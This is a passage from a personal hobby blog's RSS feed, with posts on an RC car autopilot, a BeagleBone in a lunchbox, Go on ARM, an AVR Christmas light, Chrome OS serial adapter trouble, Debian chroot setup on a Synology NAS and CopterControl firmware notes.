&lt;p&gt;It worked quite well, but I caused a ding while fiddling: the gain was high enough to cause the speed to oscillate (peak ~= 30 km/h, with about 5 s period) and it surged into the curb. The bumper worked well, but the rover battery moved forward and put a hole in the box.&lt;/p&gt;
&lt;p&gt;Next is adding a deadband to give finer control and better limits on the maximum drive and integral.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>The driving lunchbox</title>
      <link>https://juju.nz/michaelh/2014/01/the-driving-lunchbox/</link>
      <pubDate>Sat, 04 Jan 2014 14:52:02 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2014/01/the-driving-lunchbox/</guid>
      <description>&lt;p&gt;I found a good container to house the electronics on my 
&lt;a href=&#34;https://juju.net.nz/src/nppilot.git/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;never-complete autopilot project&lt;/a&gt;. Here’s some pictures of it mounted onto the car:&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140104_1344421.jpg&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;img src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140104_1344421-300x225.jpg&#34; alt=&#34;IMG_20140104_134442&#34; width=&#34;300&#34; height=&#34;225&#34; class=&#34;alignnone size-medium wp-image-105&#34; srcset=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140104_1344421-300x225.jpg 300w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140104_1344421-1024x768.jpg 1024w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140104_1344421-400x300.jpg 400w&#34; sizes=&#34;(max-width: 300px) 100vw, 300px&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140104_1344172.jpg&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;img src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140104_1344172-300x225.jpg&#34; alt=&#34;IMG_20140104_134417&#34; width=&#34;300&#34; height=&#34;225&#34; class=&#34;alignnone size-medium wp-image-107&#34; srcset=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140104_1344172-300x225.jpg 300w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140104_1344172-1024x768.jpg 1024w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140104_1344172-400x300.jpg 400w&#34; sizes=&#34;(max-width: 300px) 100vw, 300px&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140104_1344061.jpg&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;img src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140104_1344061-300x225.jpg&#34; alt=&#34;IMG_20140104_134406&#34; width=&#34;300&#34; height=&#34;225&#34; class=&#34;alignnone size-medium wp-image-108&#34; srcset=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140104_1344061-300x225.jpg 300w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140104_1344061-1024x768.jpg 1024w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140104_1344061-400x300.jpg 400w&#34; sizes=&#34;(max-width: 300px) 100vw, 300px&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The car is a Conrad 
&lt;a href=&#34;http://www.conrad.de/ce/de/product/376809/Reely-Rhino-III-110-Modellauto-Elektro-Buggy-4WD-EP-250B-RtR-24-GHz&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Rhino III buggy&lt;/a&gt;. It’s a cheapie house brand, but I’ve been really happy the toughness and level of technology so far. Two of the wheels fell off due to poor self-locking nuts but they were an easy fix. The mud is there for authenticity.&lt;/p&gt;
&lt;p&gt;The container is a lunch box which gives me a 180 x 130 mm working area, some protection, and an easy way to keep out the dust. The plastic is a bit brittle so I’ll replace it in the future. The standoffs are M6 x 60 and are far too meaty for the job. I’m a bit worried the container will flex with vibration but it should stiffen up when I screw the 
&lt;a href=&#34;http://beagleboard.org/products/beaglebone%20black&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Beaglebone Black&lt;/a&gt; into it. The clearance from the hot motor should be enough.&lt;/p&gt;
&lt;p&gt;Next step is power for the computer. I’m thinking a ~1000 mAh 2 cell Lipo which should give a couple of hours of life.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Supervisor is working</title>
      <link>https://juju.nz/michaelh/2013/12/supervisor-is-working/</link>
      <pubDate>Sun, 29 Dec 2013 20:51:52 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2013/12/supervisor-is-working/</guid>
      <description>&lt;p&gt;The supervisor for my autopilot is working. This is a fairly critical piece that runs on the AVR I/O board and handles the handover between the manual remote, the autopilot, and any safeties.&lt;/p&gt;
&lt;p&gt;This means I have:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Multi-channel PWM input from the RC receiver.
&lt;ul&gt;
&lt;li&gt;A link with the Go based, BeagleBone hosted pilot that receives demands.
&lt;ul&gt;
&lt;li&gt;A state machine that handles remote to pilot handover.
&lt;ul&gt;
&lt;li&gt;Throttle shutdown on remote loss, pilot loss, and resume on low throttle.
&lt;ul&gt;
&lt;li&gt;And indicators for all. &lt;/ul&gt;
There’s many hacks, like using polling instead of triggering on an input cycle, but it’s getting closer to being safe to try on the real car.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>First tries with Go</title>
      <link>https://juju.nz/michaelh/2013/12/first-tries-with-go/</link>
      <pubDate>Mon, 23 Dec 2013 19:20:36 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2013/12/first-tries-with-go/</guid>
      <description>&lt;p&gt;I’d like to learn 
&lt;a href=&#34;http://golang.org&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Go&lt;/a&gt;, so I’m considering using for the command side of my never complete self driving RC truck project. Here’s some quick notes after a night of hacking:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;a href=&#34;http://golang.org/doc/effective_go.html&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Effective Go&lt;/a&gt; is short, detailed, and just right if you’re happy in other languages
&lt;ul&gt;
&lt;li&gt;Go 1.2 builds cleanly on a Samsung ARM Chromebook in a Ubuntu Saucy Crouton chroot
&lt;ul&gt;
&lt;li&gt;The emacs packages are in misc/emacs. Copy to &lt;code&gt;~/.emacs.d/lisp&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Inside emacs, try &lt;code&gt;go-mode&lt;/code&gt; and &lt;code&gt;gofmt&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;
&lt;a href=&#34;http://golang.org/pkg/encoding/binary/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;encodings/binary&lt;/a&gt; can encode and decode bytes to structs, so that takes care of the message parsing. &lt;/ul&gt;
The target machine is a ARM Cortex-A8 based BeagleBone Black and so far the ARM support seems first class.&lt;/p&gt;
&lt;p&gt;Aside: You can do a surprising amount in GCC Go without touching the runtime. I wonder if you could write basic code for the AVR in Go?&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Christmas star light</title>
      <link>https://juju.nz/michaelh/2013/12/christmas-star-light/</link>
      <pubDate>Sun, 22 Dec 2013 16:36:35 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2013/12/christmas-star-light/</guid>
      <description>&lt;p&gt;We’ve got some Christmas stars in the window that needed some illumination. I hacked together a Olimex 
&lt;a href=&#34;https://www.olimex.com/Products/Duino/AVR/OLIMEXINO-85-ASM/open-source-hardware&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;OLIMEXINO-85&lt;/a&gt;, a 8 mm RGB led, and the support components to make this:&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/IMG_2583.jpg&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;img class=&#34;alignnone size-medium wp-image-85&#34; alt=&#34;IMG_2583&#34; src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/IMG_2583-300x200.jpg&#34; width=&#34;300&#34; height=&#34;200&#34; srcset=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/IMG_2583-300x200.jpg 300w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/IMG_2583-449x300.jpg 449w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/IMG_2583.jpg 1024w&#34; sizes=&#34;(max-width: 300px) 100vw, 300px&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;div style=&#34;width: 640px; &#34; class=&#34;wp-video&#34;&gt;
  &lt;!--[if lt IE 9]&gt;&lt;![endif]--&gt;&lt;video class=&#34;wp-video-shortcode&#34; id=&#34;video-81-1&#34; width=&#34;640&#34; height=&#34;427&#34; preload=&#34;metadata&#34; controls=&#34;controls&#34;&gt;&lt;source type=&#34;video/mp4&#34; src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/Vid-20131222-163519-1.m4v?_=1&#34; /&gt;
&lt;p&gt;&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/Vid-20131222-163519-1.m4v&#34;&gt;&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/Vid-20131222-163519-1.m4v&#34;&gt;https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/Vid-20131222-163519-1.m4v&lt;/a&gt;&lt;/a&gt;&lt;/video&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The video is a one-frame-per-second timelapse (thanks Android!). It’s hard to see as the LED is so bright that the camera is saturating but it’s 60 s on white, 10 s transition to the next colour, 10 s there, then 10 s transition back to white. The colour cycles around the colour wheel, although the purple and cyan are a bit subtle.&lt;/p&gt;
&lt;p&gt;Code is at &lt;a href=&#34;https://juju.net.nz/src/hacks.git/tree/christmas&#34;&gt;https://juju.net.nz/src/hacks.git/tree/christmas&lt;/a&gt;.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Regulator board</title>
      <link>https://juju.nz/michaelh/2013/12/regulator-board/</link>
      <pubDate>Fri, 20 Dec 2013 19:40:02 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2013/12/regulator-board/</guid>
      <description>&lt;p&gt;
&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/wpid-IMG_20131220_203548.jpg&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;img title=&#34;IMG_20131220_203548.jpg&#34; class=&#34;alignnone size-full&#34; alt=&#34;image&#34; src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/wpid-IMG_20131220_203548.jpg&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/wpid-IMG_20131220_203523.jpg&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;img title=&#34;IMG_20131220_203523.jpg&#34; class=&#34;alignnone size-full&#34; alt=&#34;image&#34; src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/wpid-IMG_20131220_203523.jpg&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I’m pretty happy with this. It’s a USB to 3.3 V 1 A supply using a AMS1117 linear regulator. I used the SMT version as the pin spacing is fine for veroboard and I can hide it away on the bottom of the board. The cable is three pins to give some keying and a bit more strength and hold.&lt;/p&gt;
&lt;p&gt;It could use some hot glue as strain relief on the cable.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>FTDI serial adapters and Chrome OS</title>
      <link>https://juju.nz/michaelh/2013/12/ftdi-serial-adapters-and-chrome-os/</link>
      <pubDate>Tue, 17 Dec 2013 21:09:09 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2013/12/ftdi-serial-adapters-and-chrome-os/</guid>
      <description>&lt;p&gt;Looks like I’ve run into my first problem: FTDI based USB to serial adapters don’t work as they seem to be automatically disconnected shortly after plug in. I suspect that it’s udev running the brltty rules, not finding a assistive device, and aborting.&lt;/p&gt;
&lt;p&gt;The udev scripts are under &lt;code&gt;/lib/udev/rules.d&lt;/code&gt; but I can’t hack it as the rootfs is read only. Let’s see what 
&lt;a href=&#34;https://code.google.com/p/chromium/issues/detail?id=323282&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;the devs think.&lt;/a&gt;.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>chromium</title>
      <link>https://juju.nz/michaelh/2013/12/chromium/</link>
      <pubDate>Tue, 17 Dec 2013 08:10:22 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2013/12/chromium/</guid>
      <description>&lt;p&gt;Looks like I’ve run into my first problem: FTDI based USB to serial adapters don’t work on Chrome OS as they seem to be automatically disconnected shortly after plug in. I suspect that it’s udev running the brltty rules, not finding a assistive device, and aborting.&lt;/p&gt;
&lt;p&gt;The udev scripts are under /lib/udev/rules.d but I can’t hack it as the rootfs is read only. Let’s see what the devs think…?&lt;/p&gt;
&lt;p class=&#39;wdgpo_gplus_attachment wdgpo_gplus_article_attachment&#39;&gt;
  &lt;a class=&#39;wdgpo_gplus_article_attachment_link&#39; href=&#39;https://code.google.com/p/chromium/issues/detail?id=323282&#39;&gt;An open-source project to help move the web forward.&lt;/a&gt;
&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>ARM Chromebook as a primary machine</title>
      <link>https://juju.nz/michaelh/2013/11/arm-chromebook-as-a-primary-machine/</link>
      <pubDate>Sun, 24 Nov 2013 18:28:47 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2013/11/arm-chromebook-as-a-primary-machine/</guid>
      <description>&lt;p&gt;I’m going to see if my 
&lt;a href=&#34;http://www.chromium.org/chromium-os/developer-information-for-chrome-os-devices/samsung-arm-chromebook&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Samsung ARM Chromebook&lt;/a&gt; can be my primary machine.  I’ve put a 
&lt;a href=&#34;https://github.com/dnschneid/crouton&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;crouton&lt;/a&gt; Ubuntu chroot on a SD card (so it survives the kids dropping out of developer mode) and will mainly SSH into it. I’m not fond of the speed or reliability of SD cards so I’ll see how that goes.&lt;/p&gt;
&lt;p&gt;I’m doing a bit of 
&lt;a href=&#34;http://webpy.org/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;web.py&lt;/a&gt; and 
&lt;a href=&#34;http://playground.arduino.cc//Main/ArduinoOnOtherAtmelChips&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Arduino&lt;/a&gt; (via 
&lt;a href=&#34;http://www.nongnu.org/avrdude/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;avrdude&lt;/a&gt;) hacking at the moment so the combo of a chroot, ARM, and low level mucking about will be entertaining.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>AVR Hacking</title>
      <link>https://juju.nz/michaelh/note/avrhacking/</link>
      <pubDate>Wed, 30 Oct 2013 00:00:00 +0000</pubDate>
      <guid>https://juju.nz/michaelh/note/avrhacking/</guid>
      <description>&lt;h2 id=&#34;programmer&#34;&gt;Programmer&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;JTAG  Name  M168  T85
3 -   MOSI  17    5
4 -   RESET 1     1
5 -   SCK   19    7
6 -   GND   8     4
7 -   MISO  18    6
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&#34;attiny85&#34;&gt;ATTINY85&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;PB5 (o  ) VCC
PB3 (   ) PB2
PB4 (   ) PB1
GND (   ) PB0
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&#34;serial&#34;&gt;Serial&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;5V  o  o
    o  o TX
    o  o RX
&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>ARM host</title>
      <link>https://juju.nz/michaelh/note/arm-host/</link>
      <pubDate>Sat, 03 Aug 2013 00:00:00 +0000</pubDate>
      <guid>https://juju.nz/michaelh/note/arm-host/</guid>
      <description>&lt;p&gt;I&amp;rsquo;d like a lower power server for inside my home. Some requirements:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Cortex-A9, quad core, 1.2 Ghz or more.&lt;/li&gt;
&lt;li&gt;2 GiB&lt;/li&gt;
&lt;li&gt;Ethernet. USB hosted is OK, native gigabit is better.&lt;/li&gt;
&lt;li&gt;2 or more USB ports.&lt;/li&gt;
&lt;li&gt;A public git tree.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And would be nices:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;In the Linus kernel&lt;/li&gt;
&lt;li&gt;Real datasheets (yay Freescale!)&lt;/li&gt;
&lt;li&gt;Fit within a 3.5&amp;rdquo; drive envelope (102 x 25 mm, 18 mm for &amp;lsquo;airflow&amp;rsquo;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Mass storage will come from the NAS. If it&amp;rsquo;s small enough then it can
fit in a spare drive bay.&lt;/p&gt;
&lt;p&gt;Some potentials:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Wandboard Quad. 95 x 95 mm, unknown height.&lt;/li&gt;
&lt;li&gt;ODROID-X2, 90 x 95 mm, unknown height.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Update: 2013-08-01: I decided on the Freescale i.MX6 based Wandboard.
Quite happy so far. SATA is broken but possible. Tops out at 70 deg C at
1 GHz.&lt;/p&gt;
&lt;h1 id=&#34;synology-213-as-a-freedombox&#34;&gt;Synology 213 as a Freedombox&lt;/h1&gt;
&lt;p&gt;I&amp;rsquo;d like to self host and move my current VPS into my home. I have an
ARM-based Synology NAS which can also run Debian in a chroot. Here&amp;rsquo;s the
setup.&lt;/p&gt;
&lt;p&gt;Installing Debian:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Start at &lt;a href=&#34;http://www.synocommunity.com/&#34;&gt;http://www.synocommunity.com/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Add the &lt;a href=&#34;http://packages.synocommunity.com/&#34;&gt;http://packages.synocommunity.com/&lt;/a&gt; source&lt;/li&gt;
&lt;li&gt;Open the &lt;code&gt;Package Center&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Click on &lt;code&gt;Community&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Install &lt;code&gt;Python&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Install &lt;code&gt;Debian Chroot&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It looks like the package does a &lt;code&gt;debootstrap&lt;/code&gt; as part of the install.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Once installed, select &lt;code&gt;Action | Run&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Enter the chroot and do basic setup:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/var/packages/debian-chroot/scripts/start-stop-status chroot&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;vi /etc/apt/sources.list&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Keep wheezy enabled, drop the others&lt;/li&gt;
&lt;li&gt;&lt;code&gt;apt-get update&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;apt-get dist-upgrade&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;apt-get install -yq jed locales sudo&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dpkg-reconfigure locales tzdata&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Add the SSH server on a custom port:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;apt-get install -yq jed openssh-server&lt;/li&gt;
&lt;li&gt;jed /etc/ssh/sshd_config&lt;/li&gt;
&lt;li&gt;Update &lt;code&gt;Port&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;cd /etc&lt;/li&gt;
&lt;li&gt;mkdir rc.syno.d&lt;/li&gt;
&lt;li&gt;cd rc.syno.d&lt;/li&gt;
&lt;li&gt;ln -s ../init.d/ssh&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Update the DSM-side start script to also start services:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;vi /var/packages/debian-chroot/scripts/start-stop-status&lt;/li&gt;
&lt;li&gt;Add the following after the last grep/mount in start_daemon:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;chroot ${CHROOTTARGET}/ /bin/run-parts -a start /etc/rc.syno.d&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Add the user account:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Add in the DSM side under &lt;code&gt;Control Panel | User&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Grab the user ID from &lt;code&gt;/etc/passwd&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Add in the chroot with the same user ID: &lt;code&gt;adduser --uid xxxx username&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You now have a Debian chroot with SSH access. Have at it!&lt;/p&gt;
&lt;p&gt;Notes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The chroot is stored at
&lt;code&gt;/volume1/@appstore/debian-chroot/var/chroottarget&lt;/code&gt;. Don&amp;rsquo;t forget to
back it up.&lt;/li&gt;
&lt;li&gt;Add any services manually to &lt;code&gt;/etc/rc.syno.d&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Builder</title>
      <link>https://juju.nz/michaelh/note/builder/</link>
      <pubDate>Thu, 01 Aug 2013 00:00:00 +0000</pubDate>
      <guid>https://juju.nz/michaelh/note/builder/</guid>
      <description>&lt;p&gt;I&amp;rsquo;d like to set up clean auto builds of my personal projects and some
upstream projects like crosstool-ng, gcc, and binutils.&lt;/p&gt;
&lt;h2 id=&#34;clean-install&#34;&gt;Clean install&lt;/h2&gt;
&lt;p&gt;I&amp;rsquo;d like the build to run in a clean setup so the base system can be
used for general development without affecting the build results.&lt;/p&gt;
&lt;p&gt;Some technologies are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;docker (LXC containers)&lt;/li&gt;
&lt;li&gt;schroot (Debian specific chroot helper)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;debootstrap or Ubuntu Core can be used for the base system. Use polipo
as a cache for the packages.&lt;/p&gt;
&lt;p&gt;Aside: what does the debootstrap buildd variant include?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;/usr/share/debootstrap/scripts/&lt;distro&gt; include the selectors&lt;/li&gt;
&lt;li&gt;Adds build-essential (quite reasonable)&lt;/li&gt;
&lt;li&gt;Or all tagged as Build-Essential&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;schroot&#34;&gt;schroot&lt;/h2&gt;
&lt;p&gt;schroot is nice:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;normal users can enter the chroot&lt;/li&gt;
&lt;li&gt;you can spawn a session chroot off a seed&lt;/li&gt;
&lt;li&gt;the startup scripts copy various files from the host across&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>CopterControl</title>
      <link>https://juju.nz/michaelh/note/coptercontrol/</link>
      <pubDate>Sat, 29 Jun 2013 00:00:00 +0000</pubDate>
      <guid>https://juju.nz/michaelh/note/coptercontrol/</guid>
      <description>&lt;p&gt;&lt;code&gt;TCHAIN_PREFIX = arm-none-eabi-&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;export CODE_SOURCERY = NO&lt;/code&gt; to skip -fpromote-loop-indicies&lt;/p&gt;
&lt;h2 id=&#34;command-line-programming&#34;&gt;Command line programming&lt;/h2&gt;
&lt;p&gt;There&amp;rsquo;s an experimental command line programmer in
&lt;code&gt;ground/openpilotgcs/src/experimental/USB_UPLOAD_TOOL&lt;/code&gt;. Use
&lt;a href=&#34;http://juju.net.nz/src/pilot-hacks.git/tree/opuploadtool.mk&#34;&gt;http://juju.net.nz/src/pilot-hacks.git/tree/opuploadtool.mk&lt;/a&gt; to build it.&lt;/p&gt;
&lt;h2 id=&#34;custom-code&#34;&gt;Custom code&lt;/h2&gt;
&lt;p&gt;The link command is&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;arm-none-eabi-gcc ... $defines $includes $objs
  --output foo.elf -nostartfiles -Wl,-Map=foo.map,--cref,--gc-sections
  -lc -lm -lgcc
  -T../PiOS/STM32F10x/link_STM32103CB_CC_Rev1_memory.ld
  -T../PiOS/STM32F10x/link_STM32103CB_CC_Rev1_sections.ld
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The firmware image has a 100 byte header generated by:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python $openpilot/make/scripts/version-info.py
  --path=$openpilot
  --template=$openpilot/make/templates/firmwareinfotemplate.c
  --outfile=$openpilot/build/fw_coptercontrol/fw_coptercontrol.bin.firmwareinfo.c
  --image=$openpilot/build/fw_coptercontrol/fw_coptercontrol.bin
  --type=0x04 --revision=0x02
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;According to the linker script:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;BL_FLASH is 0x08000000 to +0x2f7f&lt;/li&gt;
&lt;li&gt;BD_INFO is 0x08002f80 to +0x80&lt;/li&gt;
&lt;li&gt;FLASH is 0x08003000 onwards to (128 - 12) k&lt;/li&gt;
&lt;li&gt;SRAM is 0x20000000 to +20 k&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vectors are at the start of user flash (&amp;hellip;3000), live in .isr_vectors,
and are from &lt;code&gt;startup_stm32f10x_MD_CC.S&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Bootloader checks the blob at &lt;code&gt;pios_board_info_blob&lt;/code&gt; (0x08002f80):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;struct pios_board_info {
  uint32_t magic;
  uint8_t  board_type;
  uint8_t  board_rev;
  uint8_t  bl_rev;
  uint8_t  hw_type;
  uint32_t fw_base;
  uint32_t fw_size;
  uint32_t desc_base;
  uint32_t desc_size;
  uint32_t ee_base;
  uint32_t ee_size;
} __attribute__((packed));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;for &lt;code&gt;bdinfo-&amp;gt;fw_base &amp;amp; 0x2FFE0000 == 0x20000000&lt;/code&gt;. Sets SP to
fw_base[0] and jumps to *fw_base[1]. Ah, so checks that the SP is
valid.&lt;/p&gt;
&lt;p&gt;What does the image look like? The command line flasher just takes a
binary file and programs it to 0x08003000.&lt;/p&gt;
&lt;h2 id=&#34;hardware&#34;&gt;Hardware&lt;/h2&gt;
&lt;p&gt;The status LED is on PA6. Crystal is 8 MHz. 
&lt;a href=&#34;http://juju.net.nz/src/pilot-hacks.git/tree/blink.c&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Blink
it!&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Schematic is at
&lt;a href=&#34;http://wiki.openpilot.org/download/attachments/12386767/CopterControl%20Schematic.pdf&#34;&gt;http://wiki.openpilot.org/download/attachments/12386767/CopterControl%20Schematic.pdf&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Ports:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;USART connectors are GND / PWR / TX / RX&lt;/li&gt;
&lt;li&gt;CONN2 is USART1 on PA9 &amp;amp; PA10 with an invert select on PB2&lt;/li&gt;
&lt;li&gt;CONN3 (Flexi) is USART3 on PB10 &amp;amp; PB11&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Olimex STM32-H103 Notes</title>
      <link>https://juju.nz/michaelh/note/stm32h103/</link>
      <pubDate>Wed, 26 Jun 2013 00:00:00 +0000</pubDate>
      <guid>https://juju.nz/michaelh/note/stm32h103/</guid>
      <description>&lt;p&gt;The 
&lt;a href=&#34;https://www.olimex.com/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Olimex&lt;/a&gt;

&lt;a href=&#34;https://www.olimex.com/Products/ARM/ST/STM32-H103/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;STM32-H103&lt;/a&gt; is a

&lt;a href=&#34;http://st.com&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;ST&lt;/a&gt; STM32F1 based development. Pluses are the USB port,
proper JTAG connector, and all I/O out on 0.1&amp;rdquo; pitch pins.&lt;/p&gt;
&lt;p&gt;Details:&lt;/p&gt;
&lt;ul&gt;
